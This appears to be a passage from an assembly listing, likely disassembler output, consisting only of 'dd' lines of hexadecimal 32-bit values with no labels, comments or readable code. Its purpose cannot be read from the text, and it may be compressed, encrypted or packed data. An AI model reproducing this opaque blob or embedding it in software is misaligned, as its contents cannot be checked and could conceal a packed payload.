		dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh
		dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah,	2FF0747Bh
		dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h
		dd 0FA6CE968h, 0AEE70h,	0E285B778h, 0B9E4BC80h,	0C07C3E01h
		dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h
		dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h,	120036F4h
		dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h
		dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h
		dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h
		dd 0D08F0E1Eh, 5263D4CBh
		dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh,	0E80FC76h
		dd 8490438h, 4A48EE58h,	18F00073h, 0F4561CE2h, 147B01Fh
		dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
		dd 4B854E4h, 602F5C3Fh,	15A00E03h, 85B6AB01h, 3FF013Bh
		dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh,	4D02E00Ah
		dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h,	89AD30D8h
		dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
		dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
		dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
		dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h,	0E853C70Ch
		dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h,	0A3807623h
		dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
		dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
		dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
		dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
		dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
		dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh,	9D0309C5h
		dd 51A0BB05h, 2F29A03h,	6EBD8880h, 12D0070h, 85FE4C75h
		dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
		dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h,	56000BDBh
		dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
		dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
		dd 36104837h, 0F90CC1h,	8DA5F302h, 3C0377E1h, 535EA400h
		dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
		dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h,	79D89DD0h
		dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
		dd 834E548Bh, 0D17308h,	0ADCA7DACh, 0C107EF66h,	910CEB00h
		dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h,	0E3001481h
		dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h,	8DBD462Dh
		dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h,	40C0850Ch
		dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
		dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
		dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
		dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
		dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h,	2A25A66Fh
		dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h,	4939012Ah
		dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h,	140200E2h
		dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
		dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
		dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah,	0FEEBF0C1h
		dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h,	61022F11h
		dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
		dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
		dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h,	306A5F10h
		dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
		dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h,	0AB10D4h
		dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h,	0E49B00F2h
		dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh,	31EEE4h
		dd 13B5A1Fh, 3733888Ah,	0EF60DA00h, 0BB86BC39h,	0E2EE006Fh
		dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
		dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h,	17607C0Eh
		dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
		dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
		dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
		dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
		dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h,	0B7EA61E9h
		dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
		dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
		dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
		dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
		dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h,	50030A8Eh
		dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch,	0BD49E9C0h
		dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
		dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
		dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
		dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
		dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh,	0FA7B6C20h
		dd 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah, 487F006Bh
		dd 0EA038997h, 633644D0h, 1504E083h, 18CECDFh, 35586176h
		dd 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h, 0A16A00D0h
		dd 0BB2624A3h, 0F47C76F0h, 1DAFDB04h, 8280E69Bh, 88662Ah
		dd 650824C9h, 0E978890Fh, 737938h, 50D74341h, 6EC21Dh
		dd 69EC54E7h, 1367D3B3h, 3E74EA1Eh, 7B9D3700h, 0CEB45Ch
		dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h
		dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h,	0E4481E5Dh
		dd 0D29CF6h, 41E2D45Fh,	641C0467h, 0B4FD6F4h, 7FDCC037h
		dd 1B6C36Eh, 12E357A1h,	0CA01AA54h, 53458EC0h, 4072200h
		dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch
		dd 5AC56C31h, 0ED01E0h,	7BCBB39Dh, 69C5ACA6h, 4A6F2500h
		dd 2565E2Ah, 88F81410h,	1A00E4DAh, 76A73E27h, 1301EB1Bh
		dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh,	0B50053D4h
		dd 0E396C067h, 320482h,	0AA0E3C76h, 0D449596Ch,	771D7C72h
		dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h
		dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh,	6878AC54h
		dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h
		dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh,	35557BC3h
		dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h
		dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh
		dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h
		dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h
		dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h
		dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh,	2140410Eh
		dd 31811F0h, 777FF883h,	2C1A903h, 2CF6155Dh, 0C90033A3h
		dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h,	552609B9h
		dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h
		dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh
		dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h
		dd 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh,	7060770Fh
		dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh
		dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh
		dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h,	1EB7E261h
		dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh,	0DA727E62h
		dd 51A76875h, 2C64D66Fh
		dd 1E2BA2A3h, 245E4375h, 38C4C190h, 0E509D232h,	0B3181529h
		dd 33FD4702h, 0FEF741F1h, 239AF5D5h, 7E8F43FFh,	0A663B5D2h
		dd 4163467Dh, 0DF6F4C27h, 9F5394AEh, 67B3B4E7h,	4EA4A9B4h
		dd 0EA00DF96h, 10060h, 5DD40000h, 5E2D0000h, 668E35EFh
		dd 0E40E3FBBh, 44EA3F57h, 11871C17h, 0DC184796h, 0C10CB36Ah
		dd 3B6DD31h, 0DB239077h, 959E2F25h, 0A4BEE744h,	0D4CCC24Eh
		dd 0DEC58532h, 6995AD75h, 5ABE3DC1h, 0BA615DF8h, 0A3467F8Ah
		dd 0B86BFC11h, 17CE8232h, 0BD1454A5h, 563B27E6h, 1A39697Ah
		dd 1184ACA5h, 52F78D14h, 3901F1E1h, 7D99238Bh, 0F456E365h
		dd 0B71617E8h, 0D66C9F00h, 0A007F64h, 188B3724h, 0EA04EC26h
		dd 4FF14238h, 22CA95C1h, 0B12CEDFCh, 1F93C73Dh,	0B08549FCh
		dd 90FB603Eh, 3D226CAAh, 4FDF6444h, 0EF0AB420h,	0E46A5432h
		dd 0E22366CCh, 0EFC5A397h, 9EF4278Ah, 8EBC94AFh, 5B191BB8h
		dd 0A0482AB3h, 0CE400D88h, 0EC0F391Fh, 0A223E0FEh, 5FA1C25Bh
		dd 0F592DD0Eh, 0EA084F3Ah, 72EDB7Fh, 0C98600DFh, 28178131h
		dd 0DC712A28h, 9A6E8ADCh, 79D7DF64h, 0AF3C9F7Ch, 0EBB5ABCEh
		dd 5DAF15D8h, 824B24A8h, 1B8A3360h, 408522B3h, 66462BC4h
		dd 9170A526h, 8CB8C3B5h, 870C43DBh, 0E102A5FEh,	0A1F3D000h
		dd 0F9D2189Eh, 4D82230Bh, 8055F507h, 8F53A0E1h,	4C567C29h
		dd 819154B3h, 0D3D95857h, 737A7021h, 0A4636BEBh, 8FB29146h
		dd 0BB41E312h, 1BA31043h, 49954563h, 456C6E9Fh,	3FFC5481h
		dd 3AFA1AC5h, 0E4899F3Ah, 0B0241D0Dh, 157C206Eh, 0B1F34D2Ah
		dd 2E1F78E9h, 900EA42Ch, 424C8854h, 0C9E9017h, 0A30C8ACCh
		dd 0C73835F8h, 366E4554h, 2312CEB0h, 14000F0Eh,	467DD068h
		dd 5CA050EDh, 0A153ADD8h, 0D828602Bh, 0BA89C408h, 15750842h
		dd 40700BBEh, 8062E7BBh, 675634A9h, 0D87B11D8h,	134F6324h
		dd 815F54ABh, 0D5C5C5CDh, 0EC0093F7h, 0DB98E45Dh, 0CD0506F2h
		dd 1B217FDEh, 0EDA6F6C5h, 8FEC5556h, 2CAF334Bh,	0E04CD0C0h
		dd 0D11F60F3h, 3BE4F9A2h, 78432FB0h, 3DA6DAC4h,	51B1BCE3h
		dd 0D71CD3DEh, 442F206Bh, 0C39F6C48h, 0D9FB237h, 33B74401h
		dd 8A271F3Dh, 3F219F78h, 1CB3A375h, 1159B8C9h, 3FBB011Dh
		dd 4EAC2064h, 0B0DD2739h, 0D0201EA7h, 0F4BF6767h, 61F90F37h
		dd 608707A9h, 9BF2DBD9h, 68B0FE4Ch, 0E815F9Bh, 65A4A919h
		dd 5675BA5Eh, 0E82034CDh, 1255A7FDh, 79972413h,	7173F3F9h
		dd 0FA9B761h, 0D61F2E9Dh, 95034B5Ah, 6B7DD9C1h,	5CCF39F3h
		dd 7C6A535Eh, 0CAC36957h, 8C9C624Ch, 1BE06960h,	6786FCEBh
		dd 0B6673419h, 0BE59B406h, 75C0989Dh, 758FD299h, 0E0697786h
		dd 4F92AFCFh, 0CE7808F6h, 88C9FC87h, 9ED51698h,	919843EEh
		dd 0EC87F97Bh, 34AC637Bh, 0EC727315h, 0C8167238h, 6FA8EB2Bh
		dd 0A9788677h, 0B1945B46h, 7D17C0FDh, 73EFA0C3h, 0ECF14E7Eh
		dd 325A7838h, 0FBC87BE3h, 0ABFEDAB3h, 0ECE25B76h, 0FD90FCADh
		dd 0D5C0821h, 59B5B1C6h, 0B9AC2EE9h, 2F340B32h,	7CF543FAh
		dd 4B87A96Fh, 4BA42EB7h, 173789BDh, 0CAF7172Ch,	0AFD82C4Fh
		dd 8409B833h, 9EE9CFEBh, 6E388FF7h, 405D4776h, 0CD08FC8Bh
		dd 13E7BE3h, 1376F197h,	290087FDh, 4138BE7Dh, 1A3530CFh
		dd 3EA94B56h, 6394AE69h, 0A35088CCh, 444500D4h,	0CA11BF5Ah
		dd 0F0B5285Eh, 28EC2E53h, 0FB39DD99h, 869CA236h, 0B8A90B58h
		dd 0CA92AABBh, 38BB37A1h, 0C7C356AAh, 0CD1816EEh, 0DEFC1048h
		dd 9E8CE0CDh, 0B319580Ch, 3E2E9362h, 0BC320F84h, 7473EEDAh
		dd 863BC7E5h, 1AC81C0Fh, 0A95BA031h, 72FC9FE9h,	0F9E613F6h
		dd 4AE1BC19h, 13F27B8Bh, 16B409F4h, 0A49189ADh,	0D76E298Ah
		dd 0C6E02B07h, 63ECAC2h, 7C517B0Ah, 7C0762F5h, 0A8DCB98Dh
		dd 15DD523Dh, 833B9409h, 9EC16AF8h, 36AA57CCh, 3F1600CEh
		dd 23FD0513h, 0FB397952h, 94198454h, 1F96E9B5h,	2E380BC0h
		dd 0E5BC70DBh, 0F5956D36h, 0EC37B3E2h, 0A18C979Bh, 29BFB49Fh
		dd 0D5853F54h, 4E88D85h, 7D8C34F5h, 7B3CDC44h, 83DEC8DDh
		dd 7079FE45h, 778FEBC9h, 54868CCFh, 44AD70C6h, 0D545783Dh
		dd 0CB7A060Ah, 0B31176BFh, 5E50D1C4h, 0BF92354Bh, 0A6289B7Ch
		dd 2957965Dh, 6098C4FFh, 616DAA65h, 984703EEh, 66A46F50h
		dd 0CD1066B7h, 0A557F8CCh, 0E1A34BF4h, 6C9CCE91h, 0B6D50CDFh
		dd 1EB08215h, 7D07F9Fh,	0FC52264Bh, 0C8E53E31h,	5983FB92h
		dd 96BD303Ch, 56EF539Ah, 0FF4317E4h, 0CC556836h, 0A195AC4Ch
		dd 634C0351h, 45C58378h, 9E31996Eh, 300349F0h, 0DC734E03h
		dd 0D4B5881Ah, 85901443h, 85F805A3h, 462B739h, 99CBFF51h
		dd 49C277E8h, 0AEE5ED74h, 127129C9h, 5D5732D4h,	1BA5E2D0h
		dd 0BF7BA840h, 42E37900h, 6CFC3130h, 1CACE789h,	0E6EB974Fh
		dd 0E21B1D65h, 4AF80C56h, 0B7A0E352h, 0CF6C2AC3h, 0F9F81E51h
		dd 0AD6229ECh, 42FCD69Ch, 2D361E9Fh, 4F5CC869h,	0A80AB62h
		dd 0FD415C87h, 0CEF19656h, 0DA488BDAh, 0F0AD3F49h, 0BEAF9DFDh
		dd 7739B0D1h, 13C47ECCh, 127CB1BDh, 179E1023h, 41BF665Fh
		dd 6F528F92h, 4D39FDD6h, 1E212EACh, 33E45B75h, 0B05E52C5h
		dd 248027C5h, 0CCFB1311h, 80769F3Eh, 4C455861h,	2552C88Bh
		dd 467A2FF9h, 848E8CD6h, 6E7AF647h, 43FA35AEh, 54133575h
		dd 0E596E96Fh, 4341F480h, 0E27FA60h, 0EB6260B8h, 95B02067h
		dd 0C46FCFDBh, 0BCA6B224h, 22C00814h, 77466313h, 0D6CFDF93h
		dd 0F3DB52F9h, 0CA52C78Eh, 0B03B95F9h, 161D5030h, 1D5F45B3h
		dd 0DB096BA8h, 37D4E6DCh, 2D688EA1h, 3E53D257h,	0A43AC55Dh
		dd 1FDF1B76h, 864F8EB7h, 42955261h, 6E7791F2h, 0AC3C10A3h
		dd 0EAD643BDh, 0C332E2ABh, 4F3F39D3h, 98AE12D9h, 6A712AC5h
		dd 50550EEFh, 144DFA89h, 0D4F8BD17h, 9A5C35FCh,	85A6A8D9h
		dd 528512D0h, 7C6397F1h, 788746F2h, 7721DB95h, 7C16B74Eh
		dd 421A21ADh, 8833980Ch, 0CF4CDA64h, 0C3A6FCA2h, 3654D170h
		dd 8C4B7649h, 0CA602BAAh, 34E36195h, 0C850C267h, 9889FA51h
		dd 19B8C497h, 0ABDC48B6h, 38DD0E9Eh, 0CD80534Fh, 0AA018EA9h
		dd 0A3F1AD33h, 58BE0548h, 0D38271AAh, 5B5E4239h, 13568065h
		dd 6C531B00h, 84CD7854h, 0ACC03C30h, 10CF16B7h,	0B2213E03h
		dd 5376DC1Dh, 0F7C384B4h, 0B5E22ED3h, 781216D3h, 54E07187h
		dd 112AFCADh, 0DA0D100Bh, 1325E3EDh, 288D40DBh,	5A40D7FFh
		dd 68666FCEh, 7D6B5EC9h, 0C0CE2D5Dh, 630151ECh,	270BEEABh
		dd 880BDA4Bh, 0F83963BDh, 5782B2Ah, 9D1FA196h, 0B63F7EABh
		dd 51BAF1E1h, 28F6B8F2h, 392A5AACh, 841D622Fh, 0B71514AFh
		dd 932F7870h, 0D027A8D3h, 0FD8C6C45h, 0F322B7E4h, 0B4F6946Dh
		dd 81525C1Dh, 0B1F26621h, 80B27A2Fh, 12C2E241h,	3A57291Fh
		dd 0E1F93FE7h, 26DC4CA1h, 0D6D678A1h, 0E693CD32h, 0A3C8D5Ch
		dd 7D408CEDh, 28CFCB0Fh, 336D44C7h, 0C4D17D7Ch,	3F77CB50h
		dd 864D31Ch, 4278A1D3h,	6D222698h, 3609D985h, 6AA23A4Ch
		dd 0EA2F4A91h, 2B9A3073h, 0F3CF8931h, 44D107C5h, 0B3BBE4C3h
		dd 0FD78F5B9h, 0BC4B2B3Fh, 5A28864Eh, 60E1D77Ch, 6D4B4A2Dh
		dd 1721A486h, 0C8C361E7h, 0CFC2BDC6h, 0DF23F12h, 3D373800h
		dd 0A0B54D99h, 4073913Fh, 0DA1D465Ch, 8F357CDh,	0A8F31EF2h
		dd 20CE3D67h, 0A2EFC3EEh, 78C553D2h, 0DC2CBF89h, 61D8B7A7h
		dd 22D30B75h, 0DA632728h, 4C318AFFh, 4CC9D894h,	3560E97Ch
		dd 7C7192A6h, 90ACFC90h
		dd 0FF668959h, 174010FAh, 8DC946Ah, 0FC83AE9Eh,	0E6377A17h
		dd 1B0FDF8Bh, 8E4AF1E9h, 66D1625h, 6C30656h, 6041F9C4h
		dd 84CFA0A7h, 0E6AB4C95h, 51AD441Ah, 0B73F9DA9h, 0BF4BC536h
		dd 9A7933B6h, 0FD6AD0A3h, 0E8CCEEBFh, 1E0CB274h, 5E893203h
		dd 0F390C5C6h, 8EBD839Dh, 0E321FEFCh, 7EAA7A40h, 6D6D1148h
		dd 0F6490CCAh, 7FDE5D5Eh, 0A70CA21Dh, 5A22A0CDh, 335E0D78h
		dd 7BC58765h, 542D5C66h, 39F03A75h, 7B90D681h, 0E1DC1A0Bh
		dd 863EDDD1h, 9C5A7ABh,	0DC490954h, 0C1D7062Fh,	4F59AE6Bh
		dd 3CE07FD5h, 186E07AAh, 0FCE85805h, 28D13D55h,	0CC95215Bh
		dd 828567C1h, 78CF5268h, 0E18D8C60h, 0B5CF5A2Ah, 0F3577896h
		dd 4DDBFA99h, 0BC2E83FFh, 0D9A03048h, 5947206Eh, 6DBEAB99h
		dd 1CFF2D56h, 43CE8B29h, 0CDC59A94h, 3D5F3BDEh,	0B816DC7Bh
		dd 0A9BA5607h, 7551501Ah, 23F22335h, 0B9D0F7CAh, 3B4985Bh
		dd 87B42C0Bh, 0C7BC2C69h, 5B5DA699h, 0EEFAD916h, 40E40F2Fh
		dd 871AD2B8h, 84F451EDh, 1062EEAh, 0E6C04497h, 0C8D72615h
		dd 99042868h, 20566E4Fh, 11FA040Ch, 0BAAEBCE4h,	599D4FB6h
		dd 0DE40AEA5h, 0AC6BE60Fh, 5D54C9DDh, 0CBE0C8FFh, 0E5E62A14h
		dd 0ABD681EFh, 48A29794h, 203328E8h, 99FE1D9Bh,	760322E5h
		dd 0C3FAD77Ah, 2A33C84Ah, 61640F8Eh, 0CABBB8E2h, 5F084DF0h
		dd 86EEF14h, 572525C1h,	427426AEh, 0FF362B43h, 9FDBE9DCh
		dd 0D290DC7Dh, 0D5471328h, 3F564951h, 30BE195h,	7B252A5Ch
		dd 6DC30B6Dh, 85BDEE48h, 61EAAA2Fh, 0E03AD6Ch, 13A32AA3h
		dd 91BD4DE3h, 0D86AA606h, 6D3F4806h, 398AC4B9h,	32675194h
		dd 0E20177ECh, 0F44D5921h, 489FC709h, 957F9767h, 4DE0EE3Dh
		dd 1C76F8BAh, 0D8F6E056h, 3D7091A4h, 5B3D6A04h,	5D7C24C5h
		dd 3C184FF2h, 0F730B61Fh, 0DC247F67h, 262D6289h, 0A46C3033h
		dd 3F4ABDA9h, 0EEDA82B2h, 990CD180h, 78DDC63Ch,	87EC5FF1h
		dd 5ABD8E8Eh, 428E95DDh, 8831018Ah, 9277110Bh, 8B66BE99h
		dd 0EB8FB8EFh, 6D07DB33h, 0DF724C68h, 0CAE36EE5h, 0BE82AB04h
		dd 2B5FA031h, 0DEA90A71h, 0FC20FB3Bh, 7873AAF5h, 0E65C168Ch
		dd 0EFBFC8CCh, 0EAE144C8h, 0A6CDF45h, 0C2B0FBB2h, 13A8CE66h
		dd 97A5E439h, 0BB14C5F1h, 0A83D78E2h, 3C11ED75h, 0D0B33B3Bh
		dd 6F0509E9h, 0DE176B55h, 0AD31D720h, 6CA6F174h, 9B06C6C0h
		dd 2F97C7E3h, 9133B597h, 0BDB8E7D8h, 76E42123h,	49C94BF9h
		dd 63C04B5Dh, 361C3640h, 608D0891h, 0E3BB8FA4h,	0B0397C09h
		dd 2A2EB322h, 740C7A72h, 0D23A7616h, 206654B5h,	9988D296h
		dd 2AE858A3h, 622C2D7Bh, 0FB671E9Dh, 663E9C45h,	0BF3E5568h
		dd 53F49FAh, 0C8CEF681h, 940B40A0h, 0F90D5369h,	7DFEAEC1h
		dd 1E5A55BBh, 3D7AFB13h, 72A852F2h, 74378835h, 421791D1h
		dd 0C514F24Bh, 841DC1B2h, 8DBD8D53h, 760588A3h,	3AF0C34Ch
		dd 0E8BDD42Eh, 0DCF1E335h, 3E0CBF4Bh, 0D96DABD7h, 48793CF6h
		dd 125EA61Ch, 0B83D62F0h, 0B8319147h, 0C785C505h, 589E7639h
		dd 0C9AFA585h, 0ACE925CEh, 0C87BB543h, 0E0093275h, 6835BD59h
		dd 0AA69A545h, 1F72FCCCh, 0A53BD5A5h, 1B597569h, 3E4EF5C0h
		dd 9BCCF2E3h, 0AC48BA9Dh, 0ACD453D8h, 0EDDB4D36h, 0C94B9F8Ch
		dd 5CFD13EDh, 96D07D71h, 2C1BB99Ah, 992BE914h, 0FB2BAA3Ah
		dd 729DD012h, 0B8AD6B70h, 0A12C09C3h, 0BFDD2FACh, 0C5C3244Eh
		dd 9D533547h, 0C254D47Ah, 5387C6BFh, 0A5F589BFh, 8312F4E2h
		dd 0F1267CE1h, 0EC4C6C41h, 768A8960h, 0CFA9E9B2h, 6559CBA0h
		dd 6314DDDBh, 403A161Fh, 0E86798C1h, 714AFBA8h,	6F622FA7h
		dd 4998F0D4h, 0D7B70154h, 0BBEABB06h, 0D62D9F36h, 244AC3ECh
		dd 0E8FB72F6h, 32750A37h, 4FFADE54h, 48384625h,	8F265CAFh
		dd 985E2770h, 0E6FE7C70h, 64F150BEh, 0DF737C0Ch, 0FD8F8142h
		dd 0CDE2057Eh, 0EDEED933h, 0C8E45673h, 84F022A7h, 0FC7BCDEFh
		dd 8C666BDAh, 71FEFFFAh, 0DA5FD0F2h, 0CA60BFBCh, 889780F8h
		dd 3A7EDDFAh, 2BD67223h, 3FD3F43Bh, 0A9AA2C19h,	1DFAA6F0h
		dd 42BE8A52h, 956536F3h, 0E243A618h, 4A4B9709h,	271A4C79h
		dd 92BFBA41h, 8AF8F8EFh, 1F75C3A3h, 44FF5DA9h, 0A58689A0h
		dd 22D5E99Dh, 4F9C5263h, 484FEAE5h, 0D449143Bh,	371589A4h
		dd 7BDBF671h, 1F503E3Ah, 6B7166A7h, 5A33FC90h, 66807783h
		dd 0FBDACA36h, 9E85D921h, 56FF9EB3h, 6277C2DCh,	0A00BED47h
		dd 84F04FD9h, 484BC208h, 0E66E83F7h, 0E6010E79h, 70C9F586h
		dd 6768F0E4h, 0B715A422h, 5BCEE3D5h, 874A976h, 0CD9CF314h
		dd 3C77CC49h, 70B4918Eh, 0B1195287h, 0B8CF7D7Bh, 68027357h
		dd 0BC17B479h, 2BB0ECC3h, 2EE5345Dh, 77BBBC19h,	0D4978E07h
		dd 0B410342Dh, 3C4F5AAEh, 80F2D269h, 85CA4DA7h,	4AC4F1C9h
		dd 0CA383D3h, 0F62CBC00h, 90D226ADh, 5B361E78h,	73E935BDh
		dd 65C9C146h, 64F3ABC6h, 120A35BDh, 3A3D0151h, 0DF79DA45h
		dd 1725760Dh, 293C407Eh, 4C47B330h, 475C35AFh, 823A1728h
		dd 0C4307716h, 0B5A1874h, 4E3E4C1Fh, 0EB4E6043h, 0BF162849h
		dd 1E513753h, 2B47D83Ah, 9BC2BEBAh, 530274D3h, 4BE8E27Eh
		dd 0FAC735A5h, 0FD7B5EABh, 5F11BF04h, 4E8E6CF6h, 0D6F86EABh
		dd 0A603D76Bh, 6F073D20h, 76FA9C67h, 1209C221h,	0DFA1350h
		dd 0E136914Dh, 8134520Dh, 8E09920h, 0D5ADD823h,	0D2545E4Bh
		dd 2F2ABEA4h, 8BF972F4h, 6452A1ABh, 6AEA2EB8h, 3A529BA0h
		dd 0F7D091Ch, 0E10FF9E7h, 8CDE0C4h, 0A32B8821h,	144AF9B5h
		dd 0AA52BEBh, 0A1D535C8h, 26C2CBFEh, 8C65CA49h,	46F813EEh
		dd 7E55F0BEh, 0B97BC292h, 1669267Ch, 1F77E47Dh,	0BBAF86F5h
		dd 750795E7h, 7B3C2202h, 954E899h, 7790AA47h, 32C762DFh
		dd 0CE9BC258h, 0E5FA3FDBh, 0E8D061F3h, 9D488F99h, 65B1E582h
		dd 45643DCBh, 5F48C839h, 0AD272012h, 491F2962h,	0CFF7D310h
		dd 0D517A188h, 25F0BE79h, 0A0F1F5A6h, 8BB948A5h, 0AFD052AFh
		dd 210AE357h, 99611E87h, 582CE554h, 0C36F3BAFh,	800AF86Ch
		dd 95248748h, 47EC2FC1h, 4A16FD1Dh, 0E4272869h,	0DFA3E229h
		dd 0F8B9AE68h, 725F92CDh, 3CEA05A0h, 977EAFB9h,	97F8C68Eh
		dd 0FA9B8C7Ah, 256C0A25h, 0A003AD8Fh, 4CF03400h, 25545C98h
		dd 96CE532Ah, 0C5846E23h, 4953B3ECh, 4D6A715Eh,	57290F47h
		dd 0B1384CAAh, 0ABA18648h, 2131EA0Ah, 8FAE9DE8h, 10749D02h
		dd 6DE73A19h, 0EC175276h, 5DEB9D6Ah, 4EFBC746h,	0ABC127B0h
		dd 588DB983h, 882E2944h, 24139466h, 8E12A375h, 0BB6511C5h
		dd 51351344h, 0DEDB55D4h, 0FBFA8A96h, 418B6AD4h, 0D790F1A7h
		dd 0F23F52D7h, 25E27AC7h, 78330FA9h, 5826C445h,	0B93E9C65h
		dd 70DBD9EAh, 550675FAh, 8CB19D42h, 6818761Ch, 185CD826h
		dd 0C4A915C5h, 0D9A166E8h, 0C6A559FEh, 264D0A2Ah, 0B3ACFBD6h
